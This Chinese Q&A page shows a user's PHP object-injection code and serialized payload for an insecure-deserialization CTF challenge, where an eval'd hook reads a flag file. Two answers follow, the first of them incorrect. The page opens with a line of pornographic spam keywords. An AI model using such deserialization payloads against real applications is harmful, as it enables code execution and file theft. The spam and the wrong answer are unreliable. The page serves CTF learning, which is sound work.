亚洲在线久爱草,狠狠天天香蕉网,天天搞日日干久草,伊人亚洲日本欧美

為了賬號安全,請及時綁定郵箱和手機立即綁定
已解決430363個問題,去搜搜看,總會有你想問的

為什么“exit()”后代碼還在執行?

為什么“exit()”后代碼還在執行?

PHP
慕妹3146593 2021-06-09 16:29:05
我正在做一個關于 PHP 中不安全反序列化的 CTF 挑戰。目標是通過將代碼注入反序列化來打印標志以執行print_flag()函數。我懷疑網絡服務器只打印腳本回顯的最后一行,即使在調用exit().提供了在網絡服務器上運行的一部分 php 代碼。我已經在我自己的 php 腳本中實現了它,以找出哪些有效,哪些無效。我已經成功地序列化了一個在反序列化時執行代碼的對象。通過調用exit(print_flag());標志被打印,沒有任何進一步的錯誤......至少在我的腳本中。當我將序列化對象發送到網絡服務器時,它仍然會打印更多錯誤。此外,我嘗試從注入的代碼中返回一個字符串。那也行不通。function print_flag() {    print file_get_contents('/var/flag/flag.txt');}class Example2{    private $hook;    function __construct() {        $this->hook = "exit(print_flag());";    }    function __toString()    {        if (isset($this->hook)) eval($this->hook);    }}$flag = new Example2();$serialized = serialize($flag);print "$serialized\r\n";$deserialized = unserialize($serialized);該代碼類似于挑戰中顯示的代碼,但經過修改,因此對我有用。我希望代碼只返回標志。在我自己的機器上執行腳本時,輸出為:O:8:"Example2":1:{s:14:"Example2 hook";s:19:"exit(print_flag());";} thisistheflag當我沒有調用它時exit():PHP 可恢復的致命錯誤:方法示例 2::__toString() 必須在第 39 行的 ../phpObjInj.php 中返回一個字符串值”網絡服務器返回:可捕獲的致命錯誤:方法示例 2::__toString() 必須在第 79 行的 /var/www/index.php 中返回一個字符串值如何停止打印錯誤?
查看完整描述

2 回答

?
慕村9548890

TA貢獻1884條經驗 獲得超4個贊

刪除構造函數中的雙引號,function __construct() 而不是


function __construct() {

    $this->hook = "exit(print_flag());";

}


function __construct() {

    $this->hook = exit(print_flag());

}


查看完整回答
反對 回復 2021-06-19
?
Smart貓小萌

TA貢獻1911條經驗 獲得超7個贊

發生錯誤的原因是unserialize($flag);。由于參數 tounserialize()應該是一個字符串,它嘗試將Example2對象轉換為字符串。您可能打算使用unserialize($serialized);.


但更一般地,您應該確保該__toString()方法返回一個字符串。如果你不在乎它是什么,你可以返回一個空字符串。


function __toString()

{

    if (isset($this->hook)) eval($this->hook);

    return "";

}

當您exit()在鉤子中時不會發生錯誤,因為腳本在__toString()方法返回之前退出,因此它從不檢查返回值。


之后沒有執行任何操作exit()。下面是操作順序:

  • new Example2 - 創建新對象

  • serialize($flag) - 創建一個表示對象的字符串

  • print "$serialized\r\n"; - 打印上面的字符串

以上步驟都不需要調用__toString(),所以鉤子還沒有執行。

  • deserialize($flag)- 這需要轉換$flag為字符串,以便可以將其解析為序列化數據。

    • 稱呼 $flag->__toString()

    • eval($this->hook)

    • 調用print_flag(),打印標志

    • 調用exit(),終止腳本

所以你看到序列化的對象被打印出來,然后標志被打印出來,然后沒有別的,因為exit().

為了演示該漏洞,您應該unserialize()使用正確的參數調用。

$deserialized = unserialize($seralized);
echo $deserialized;

echo語句將導致__toString()調用該方法。這將退出腳本,您將不會收到錯誤消息。


查看完整回答
反對 回復 2021-06-19
  • 2 回答
  • 0 關注
  • 676 瀏覽

添加回答

舉報

0/150
提交
取消
微信客服

購課補貼
聯系客服咨詢優惠詳情

幫助反饋 APP下載

慕課網APP
您的移動學習伙伴

公眾號

掃描二維碼
關注慕課網微信公眾號